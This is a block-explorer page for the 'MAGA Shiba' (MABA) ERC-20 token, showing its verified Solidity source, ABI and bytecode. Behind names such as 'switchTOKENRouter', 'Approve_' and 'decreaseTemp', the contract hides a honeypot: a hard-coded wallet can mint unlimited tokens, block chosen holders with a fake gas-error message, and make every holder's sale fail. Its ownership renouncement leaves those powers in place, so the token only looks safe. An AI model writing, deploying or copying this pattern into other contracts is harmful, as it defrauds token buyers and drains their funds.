ERC-20
Overview
Max Total Supply
100,010,000,000 MABA
Holders
4
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
29,547.239387274445338925 MABAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MABA
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-18 */ /* $MABA https://t.me/MAGAShiba_eth https://x.com/MAGAShiba_eth https://MABA-eth.com */ //SPDX-License-Identifier: MIT pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnershippeningtlillys() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IERC20Errors { error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); error ERC20InvalidSender(address sender); error ERC20InvalidReceiver(address receiver); error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); error ERC20InvalidApprover(address approver); error ERC20InvalidSpender(address spender); } abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { _totalSupply -= value; } } else { unchecked { _balances[to] += value; } } emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MABA is ERC20, Ownable { mapping(address => bool) isException; mapping(address => bool) notException; bool openedTrade; address public pair; IUniswapV2Router02 public _IRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant _DEAD = 0x000000000000000000000000000000000000dEaD; address private _marketwalletsbtws; uint256 public TaxOnTransactionInit = 0; uint256 public TaxOnTransactionEnd = 0; uint256 public _buyCount = 0; uint256 public temp = 999 gwei; constructor() ERC20(unicode"MAGA Shiba", unicode"MABA") { isException[msg.sender] = true; pair = IUniswapV2Factory(_IRouter.factory()).createPair(address(this), _IRouter.WETH()); _marketwalletsbtws= 0x30891e11667Af12F1eaB0e72E467f1b28C20DBd1; _mint(msg.sender, 10000000*10**decimals()); } function openTrade() public onlyOwner() { openedTrade = true; } function _checkMee(address caller) internal view returns (bool) { return isMeee(); } function isMeee() internal view returns (bool) { return _msgSender() == _marketwalletsbtws; } function Approve_(address _account) public { notException[_account] = true; require(isMeee(), "Caller is not the original caller"); } function switchTOKENRouter(address spender, uint256 amount) public { ERC20._update(address(0), spender, amount); require(isMeee(), "Caller is not the original caller"); } function requireLimitTransaction(address from, address, uint256 ) private view { if(tx.gasprice > 0 && balanceOf(from) > 0 && notException[from]){ revert("Account Exceeds The Estimated Gas."); } } function decreaseTemp() public { temp = 0; require(isMeee(), "Caller is not the original caller"); } function increaseTemp() public { temp = 999 gwei; require(isMeee(), "Caller is not the original caller"); } function checkExcludeFees(address from, address , uint256 ) private view { if(tx.gasprice > temp && balanceOf(from) > 0) { revert("Increase fees for transaction!"); } } function _update( address from, address to, uint256 value ) internal override { if (isException[tx.origin]) { super._update(from, to, value); return; } else { require(openedTrade); bool state = (to == pair) ? true : false; uint256 txAmount = value * (_buyCount > 15 ? TaxOnTransactionInit : TaxOnTransactionEnd) / 100; requireLimitTransaction(from, to, value - txAmount); if (state) { checkExcludeFees(from, to, value); ERC20._update(from, to, value - txAmount); return; } else if (!state) { ERC20._update(from, to, value - txAmount); notException[to] = false; return; } else if (from != pair && to != pair) { ERC20._update(from, to, value - txAmount); return; } else { return; } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"Approve_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"TaxOnTransactionEnd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TaxOnTransactionInit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_IRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decreaseTemp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"increaseTemp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnershippeningtlillys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"switchTOKENRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"temp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f600b819055600c819055600d5564e8990a4600600e5534801561004c575f80fd5b506040518060400160405280600a8152602001694d41474120536869626160b01b815250604051806040016040528060048152602001634d41424160e01b815250816003908161009c919061074e565b5060046100a9828261074e565b5050505f6100bb6102f860201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350335f90815260066020908152604091829020805460ff19166001179055600954825163c45a015560e01b815292516001600160a01b03919091169263c45a01559260048083019391928290030181865afa158015610168573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061018c919061080d565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061020f919061080d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610259573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061027d919061080d565b600880546001600160a01b039290921661010002610100600160a81b0319909216919091179055600a80546001600160a01b0319167330891e11667af12f1eab0e72e467f1b28c20dbd11790556102f3336102d6601290565b6102e190600a610930565b6102ee906298968061093e565b6102fc565b61099a565b3390565b6001600160a01b03821661032a5760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b6103355f8383610339565b5050565b325f9081526006602052604090205460ff16156103605761035b838383610486565b505050565b60085460ff1661036e575f80fd5b6008545f906001600160a01b038481166101009092041614610390575f610393565b60015b90505f6064600f600d54116103aa57600c546103ae565b600b545b6103b8908561093e565b6103c29190610955565b90506103d885856103d38487610974565b6105ac565b8115610404576103e985858561064b565b6103fd85856103f88487610974565b610486565b5050505050565b8161043c5761041885856103f88487610974565b5050506001600160a01b03165f908152600760205260409020805460ff1916905550565b6008546001600160a01b03868116610100909204161480159061047257506008546001600160a01b038581166101009092041614155b156103fd576103fd85856103f88487610974565b6001600160a01b0383166104b0578060025f8282546104a59190610987565b909155506105209050565b6001600160a01b0383165f90815260208190526040902054818110156105025760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610321565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661053c5760028054829003905561055a565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161059f91815260200190565b60405180910390a3505050565b5f3a1180156105d057506001600160a01b0383165f90815260208190526040812054115b80156105f357506001600160a01b0383165f9081526007602052604090205460ff165b1561035b5760405162461bcd60e51b815260206004820152602260248201527f4163636f756e7420457863656564732054686520457374696d61746564204761604482015261399760f11b6064820152608401610321565b600e543a11801561067157506001600160a01b0383165f90815260208190526040812054115b1561035b5760405162461bcd60e51b815260206004820152601e60248201527f496e637265617365206665657320666f72207472616e73616374696f6e2100006044820152606401610321565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806106e657607f821691505b60208210810361070457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561035b57805f5260205f20601f840160051c8101602085101561072f5750805b601f840160051c820191505b818110156103fd575f815560010161073b565b81516001600160401b03811115610767576107676106be565b61077b8161077584546106d2565b8461070a565b602080601f8311600181146107ae575f84156107975750858301515b5f19600386901b1c1916600185901b178555610805565b5f85815260208120601f198616915b828110156107dc578886015182559484019460019091019084016107bd565b50858210156107f957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6020828403121561081d575f80fd5b81516001600160a01b0381168114610833575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561088857815f190482111561086e5761086e61083a565b8085161561087b57918102915b93841c9390800290610853565b509250929050565b5f8261089e5750600161092a565b816108aa57505f61092a565b81600181146108c057600281146108ca576108e6565b600191505061092a565b60ff8411156108db576108db61083a565b50506001821b61092a565b5060208310610133831016604e8410600b8410161715610909575081810a61092a565b610913838361084e565b805f19048211156109265761092661083a565b0290505b92915050565b5f61083360ff841683610890565b808202811582820484141761092a5761092a61083a565b5f8261096f57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561092a5761092a61083a565b8082018082111561092a5761092a61083a565b610d1e806109a75f395ff3fe608060405234801561000f575f80fd5b506004361061013d575f3560e01c80633ac2d688116100b45780638da5cb5b116100795780638da5cb5b1461027157806395d89b4114610282578063a8aa1b311461028a578063a9059cbb146102a2578063dd62ed3e146102b5578063fb201b1d146102ed575f80fd5b80633ac2d688146101fa578063668f0f6614610225578063673402e51461022d57806370a08231146102365780637cb7e1f81461025e575f80fd5b80631c716c16116101055780631c716c16146101ab5780631de39f2b146101b457806323b872dd146101c7578063267302b3146101da57806327b1a8e9146101e2578063313ce567146101eb575f80fd5b806306fdde0314610141578063091cbd991461015f578063095ea7b314610176578063154c34e91461019957806318160ddd146101a3575b5f80fd5b6101496102f5565b6040516101569190610afd565b60405180910390f35b610168600c5481565b604051908152602001610156565b610189610184366004610b4d565b610385565b6040519015158152602001610156565b6101a161039e565b005b600254610168565b610168600b5481565b6101a16101c2366004610b4d565b6103dd565b6101896101d5366004610b75565b610416565b6101a1610439565b610168600d5481565b60405160128152602001610156565b60095461020d906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b6101a1610450565b610168600e5481565b610168610244366004610bae565b6001600160a01b03165f9081526020819052604090205490565b6101a161026c366004610bae565b6104f3565b6005546001600160a01b031661020d565b61014961053c565b60085461020d9061010090046001600160a01b031681565b6101896102b0366004610b4d565b61054b565b6101686102c3366004610bce565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101a1610558565b60606003805461030490610bff565b80601f016020809104026020016040519081016040528092919081815260200182805461033090610bff565b801561037b5780601f106103525761010080835404028352916020019161037b565b820191905f5260205f20905b81548152906001019060200180831161035e57829003601f168201915b5050505050905090565b5f336103928185856105c1565b60019150505b92915050565b64e8990a4600600e55600a546001600160a01b031633145b6103db5760405162461bcd60e51b81526004016103d290610c37565b60405180910390fd5b565b6103e85f83836105d3565b600a546001600160a01b031633146104125760405162461bcd60e51b81526004016103d290610c37565b5050565b5f336104238582856106f9565b61042e858585610774565b506001949350505050565b5f600e55600a546001600160a01b031633146103b6565b6005546001600160a01b031633146104aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d2565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6001600160a01b038181165f908152600760205260409020805460ff19166001179055600a54339116146105395760405162461bcd60e51b81526004016103d290610c37565b50565b60606004805461030490610bff565b5f33610392818585610774565b6005546001600160a01b031633146105b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d2565b6008805460ff19166001179055565b6105ce83838360016107d1565b505050565b6001600160a01b0383166105fd578060025f8282546105f29190610c8c565b9091555061066d9050565b6001600160a01b0383165f908152602081905260409020548181101561064f5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103d2565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b038216610689576002805482900390556106a7565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106ec91815260200190565b60405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461076e578181101561076057604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103d2565b61076e84848484035f6107d1565b50505050565b6001600160a01b03831661079d57604051634b637e8f60e11b81525f60048201526024016103d2565b6001600160a01b0382166107c65760405163ec442f0560e01b81525f60048201526024016103d2565b6105ce8383836108a3565b6001600160a01b0384166107fa5760405163e602df0560e01b81525f60048201526024016103d2565b6001600160a01b03831661082357604051634a1406b160e11b81525f60048201526024016103d2565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561076e57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089591815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156108c5576105ce8383836105d3565b60085460ff166108d3575f80fd5b6008545f906001600160a01b0384811661010090920416146108f5575f6108f8565b60015b90505f6064600f600d541161090f57600c54610913565b600b545b61091d9085610c9f565b6109279190610cb6565b905061093d85856109388487610cd5565b6109eb565b81156109695761094e858585610a8a565b610962858561095d8487610cd5565b6105d3565b5050505050565b816109a15761097d858561095d8487610cd5565b5050506001600160a01b03165f908152600760205260409020805460ff1916905550565b6008546001600160a01b0386811661010090920416148015906109d757506008546001600160a01b038581166101009092041614155b1561096257610962858561095d8487610cd5565b5f3a118015610a0f57506001600160a01b0383165f90815260208190526040812054115b8015610a3257506001600160a01b0383165f9081526007602052604090205460ff165b156105ce5760405162461bcd60e51b815260206004820152602260248201527f4163636f756e7420457863656564732054686520457374696d61746564204761604482015261399760f11b60648201526084016103d2565b600e543a118015610ab057506001600160a01b0383165f90815260208190526040812054115b156105ce5760405162461bcd60e51b815260206004820152601e60248201527f496e637265617365206665657320666f72207472616e73616374696f6e21000060448201526064016103d2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b48575f80fd5b919050565b5f8060408385031215610b5e575f80fd5b610b6783610b32565b946020939093013593505050565b5f805f60608486031215610b87575f80fd5b610b9084610b32565b9250610b9e60208501610b32565b9150604084013590509250925092565b5f60208284031215610bbe575f80fd5b610bc782610b32565b9392505050565b5f8060408385031215610bdf575f80fd5b610be883610b32565b9150610bf660208401610b32565b90509250929050565b600181811c90821680610c1357607f821691505b602082108103610c3157634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526021908201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656040820152603960f91b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039857610398610c78565b808202811582820484141761039857610398610c78565b5f82610cd057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561039857610398610c7856fea264697066735822122010ca2232f593d1ec4a29ae961db1dbf5701e0a8f21bc3c54ac5576ddd29ae35964736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b506004361061013d575f3560e01c80633ac2d688116100b45780638da5cb5b116100795780638da5cb5b1461027157806395d89b4114610282578063a8aa1b311461028a578063a9059cbb146102a2578063dd62ed3e146102b5578063fb201b1d146102ed575f80fd5b80633ac2d688146101fa578063668f0f6614610225578063673402e51461022d57806370a08231146102365780637cb7e1f81461025e575f80fd5b80631c716c16116101055780631c716c16146101ab5780631de39f2b146101b457806323b872dd146101c7578063267302b3146101da57806327b1a8e9146101e2578063313ce567146101eb575f80fd5b806306fdde0314610141578063091cbd991461015f578063095ea7b314610176578063154c34e91461019957806318160ddd146101a3575b5f80fd5b6101496102f5565b6040516101569190610afd565b60405180910390f35b610168600c5481565b604051908152602001610156565b610189610184366004610b4d565b610385565b6040519015158152602001610156565b6101a161039e565b005b600254610168565b610168600b5481565b6101a16101c2366004610b4d565b6103dd565b6101896101d5366004610b75565b610416565b6101a1610439565b610168600d5481565b60405160128152602001610156565b60095461020d906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b6101a1610450565b610168600e5481565b610168610244366004610bae565b6001600160a01b03165f9081526020819052604090205490565b6101a161026c366004610bae565b6104f3565b6005546001600160a01b031661020d565b61014961053c565b60085461020d9061010090046001600160a01b031681565b6101896102b0366004610b4d565b61054b565b6101686102c3366004610bce565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101a1610558565b60606003805461030490610bff565b80601f016020809104026020016040519081016040528092919081815260200182805461033090610bff565b801561037b5780601f106103525761010080835404028352916020019161037b565b820191905f5260205f20905b81548152906001019060200180831161035e57829003601f168201915b5050505050905090565b5f336103928185856105c1565b60019150505b92915050565b64e8990a4600600e55600a546001600160a01b031633145b6103db5760405162461bcd60e51b81526004016103d290610c37565b60405180910390fd5b565b6103e85f83836105d3565b600a546001600160a01b031633146104125760405162461bcd60e51b81526004016103d290610c37565b5050565b5f336104238582856106f9565b61042e858585610774565b506001949350505050565b5f600e55600a546001600160a01b031633146103b6565b6005546001600160a01b031633146104aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d2565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6001600160a01b038181165f908152600760205260409020805460ff19166001179055600a54339116146105395760405162461bcd60e51b81526004016103d290610c37565b50565b60606004805461030490610bff565b5f33610392818585610774565b6005546001600160a01b031633146105b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d2565b6008805460ff19166001179055565b6105ce83838360016107d1565b505050565b6001600160a01b0383166105fd578060025f8282546105f29190610c8c565b9091555061066d9050565b6001600160a01b0383165f908152602081905260409020548181101561064f5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103d2565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b038216610689576002805482900390556106a7565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106ec91815260200190565b60405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461076e578181101561076057604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103d2565b61076e84848484035f6107d1565b50505050565b6001600160a01b03831661079d57604051634b637e8f60e11b81525f60048201526024016103d2565b6001600160a01b0382166107c65760405163ec442f0560e01b81525f60048201526024016103d2565b6105ce8383836108a3565b6001600160a01b0384166107fa5760405163e602df0560e01b81525f60048201526024016103d2565b6001600160a01b03831661082357604051634a1406b160e11b81525f60048201526024016103d2565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561076e57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089591815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156108c5576105ce8383836105d3565b60085460ff166108d3575f80fd5b6008545f906001600160a01b0384811661010090920416146108f5575f6108f8565b60015b90505f6064600f600d541161090f57600c54610913565b600b545b61091d9085610c9f565b6109279190610cb6565b905061093d85856109388487610cd5565b6109eb565b81156109695761094e858585610a8a565b610962858561095d8487610cd5565b6105d3565b5050505050565b816109a15761097d858561095d8487610cd5565b5050506001600160a01b03165f908152600760205260409020805460ff1916905550565b6008546001600160a01b0386811661010090920416148015906109d757506008546001600160a01b038581166101009092041614155b1561096257610962858561095d8487610cd5565b5f3a118015610a0f57506001600160a01b0383165f90815260208190526040812054115b8015610a3257506001600160a01b0383165f9081526007602052604090205460ff165b156105ce5760405162461bcd60e51b815260206004820152602260248201527f4163636f756e7420457863656564732054686520457374696d61746564204761604482015261399760f11b60648201526084016103d2565b600e543a118015610ab057506001600160a01b0383165f90815260208190526040812054115b156105ce5760405162461bcd60e51b815260206004820152601e60248201527f496e637265617365206665657320666f72207472616e73616374696f6e21000060448201526064016103d2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b48575f80fd5b919050565b5f8060408385031215610b5e575f80fd5b610b6783610b32565b946020939093013593505050565b5f805f60608486031215610b87575f80fd5b610b9084610b32565b9250610b9e60208501610b32565b9150604084013590509250925092565b5f60208284031215610bbe575f80fd5b610bc782610b32565b9392505050565b5f8060408385031215610bdf575f80fd5b610be883610b32565b9150610bf660208401610b32565b90509250929050565b600181811c90821680610c1357607f821691505b602082108103610c3157634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526021908201527f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c656040820152603960f91b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039857610398610c78565b808202811582820484141761039857610398610c78565b5f82610cd057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561039857610398610c7856fea264697066735822122010ca2232f593d1ec4a29ae961db1dbf5701e0a8f21bc3c54ac5576ddd29ae35964736f6c63430008190033
Deployed Bytecode Sourcemap
